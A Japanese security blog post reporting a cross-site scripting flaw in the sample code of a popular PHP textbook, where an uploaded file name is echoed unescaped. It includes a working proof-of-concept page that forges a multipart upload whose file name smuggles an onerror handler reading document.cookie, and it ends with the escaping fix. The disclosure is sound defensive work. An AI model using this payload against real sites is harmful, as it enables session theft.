既に、Amazonでは、熱烈な読者の方からの詳細のレビューが届いています。
神本御降臨!たにぐちさんの人気はすごいなぁとあらためて思いながら読んでいると、意外にも私の名前もありました。
言わずと知れたPHPプログラミング書籍のロングセラー。
2010年9月に発売された前作の改訂版。
PHPのバージョンも最新の5.5に対応、内容は前作と殆ど同じ。
少し前に前作を購入した方も本書を購入した方がいいでしょう。
【中略】
それにしても、帯の「3万人に読まれた定番の入門書が・・」では、この偉大な書籍にしては謙遜している気が。
せめて「3万人に愛された伝説の入門書が・・・」とか「3万人の運命を変えた史上最強の入門書が・・・」と
書いても良いのではないでしょうか。
プログラミングの入門書でこれだけ支持・絶大な人気の書籍は他にないのですから。
引用元
どうも、現役のバックエンドエンジニア達の反応や評価がよくわからない・・・召喚されてしまいましたw
どう思っているのでしょうか?気になるところです。
(購入者自身が納得すれば良い話なので、意味がないかもしれませんが)
また、改訂版の本書に対して徳丸先生からの書評も待ちたいところです。
まだ網羅的には調べ切れていませんが、現時点で1箇所興味深いクロスサイト・スクリプティング(XSS)を見つけましたので紹介します。
XSSをどうやって見つけたか
私は脆弱性を見つける際には、ソースを見るよりも先に動かしてみることが多いのですが、この脆弱性はソースのgrepで見つけました。サンプルソースをダウンロードして、以下のgrepコマンドの結果を眺めました。すると、1箇所HTMLエスケープしていない箇所がありました。$ grep -r echo *
part5-2_sample/join/check.php: <img src="../member_picture/<?php echo $_SESSION['join']['image']; ?>" width="100" height="100" alt="" />
$_SESSION['join']['image']をエスケープしないで表示しているので、この時点で「局所的にXSSが存在」と言って良いかと思います。攻撃経路はあるか?
しかし、セッション変数がインプットですので、攻撃経路があるかどうかを確認して見ましょう。この変数は下記でセットされています(part5-2_sample/join/index.php)。利用者がアップロードしたファイルのファイル名がソースになっていますね。// 画像をアップロードする $image = date('YmdHis') . $_FILES['image']['name']; move_uploaded_file($_FILES['image']['tmp_name'], '../member_picture/' . $image); $_SESSION['join'] = $_POST; $_SESSION['join']['image'] = $image;
「ファイル名なのでHTMLエスケープしない」という例は割合見かける気がします。その背景として、以下の心理があるのかもしれません。
- ファイル名には「<」や「>」は使えないのでXSSはできない
- ファイルアップロードのフォームではファイル名を外部から指定できない
まず、Unix/Linux/Mac OSではファイル名として「<」や「>」を使うことができます。それに、「<」や「>」を使わないXSS攻撃も可能です。
また、ファイルアップロードのフォームにてファイル名を外部から指定することもできます。これについては、下記のエントリを参照下さい。
- 書籍「気づけばプロ並みPHP」にリモートスクリプト実行の脆弱性
- IE8以前はHTMLフォームでファイル名とファイルの中身を外部から指定できる
- IE9以降でもHTMLフォームでファイル名とファイルの中身を外部から指定できる
実証
このXSSが発現することを以下のPoCで確認しました。JavaScriptはXMLHttpRequest Level2を利用してファイル名を " onerror=alert(document.cookie) gif にセットしています。そして、末尾近くのiframe要素で、XSSのあるcheck.phpを呼び出します。
<body>
<script>
// 以下は送信するHTTPリクエストボディの中身
// \n\ は改行(\n) と 継続行(行末の\)を示す
data = '\
----BNDRY\n\
Content-Disposition: form-data; name="name"\n\
\n\
e\n\
----BNDRY\n\
Content-Disposition: form-data; name="email"\n\
\n\
e@example.jp\n\
----BNDRY\n\
Content-Disposition: form-data; name="password"\n\
\n\
pass\n\
----BNDRY\n\
Content-Disposition: form-data; name="image"; filename="\\" onerror=\'alert(document.cookie)\' gif"\n\
Content-Type: image/gif\n\
\n\
GIF87a\n\
----BNDRY--\n\
';
var req = new XMLHttpRequest();
req.open('POST', 'http://example.jp/join/');
req.setRequestHeader('Content-Type', 'multipart/form-data; boundary=--BNDRY');
req.withCredentials = true;
req.send(data);
</script>
<iframe src="http://example.jp/join/check.php"></iframe>
</body>
生成されるimg要素は下記となります。src属性が「"」で閉じられ、onerror属性(イベント)が定義されています。画面は下記となり、確かにセッションクッキーが読み取られています。<img src="../member_picture/20140310092527" onerror='alert(document.cookie)' gif" width="100" height="100" alt="" />
対策
ここまで読んだ読者の中には、「こんなに高度な攻撃のことまで考慮しなければならないのか」と疑問を持った方がおられるかもしれませんが、そうではありません。攻撃経路があるかないかに関わらず、淡々と、HTML出力時にエスケープ処理を入れるだけで対策は終わりです。すなわち、「高度なことを考慮する必要がある」ということではなく、「中途半端に高度なことを考えてしまったので対策漏れが生じた」と言えます。
この脆弱性は、攻撃には高度なワザが必要だが、対策は平凡、というありがちな例と言えるでしょう。局所的な対策をもれなく実施することが重要です。
0 件のコメント:
コメントを投稿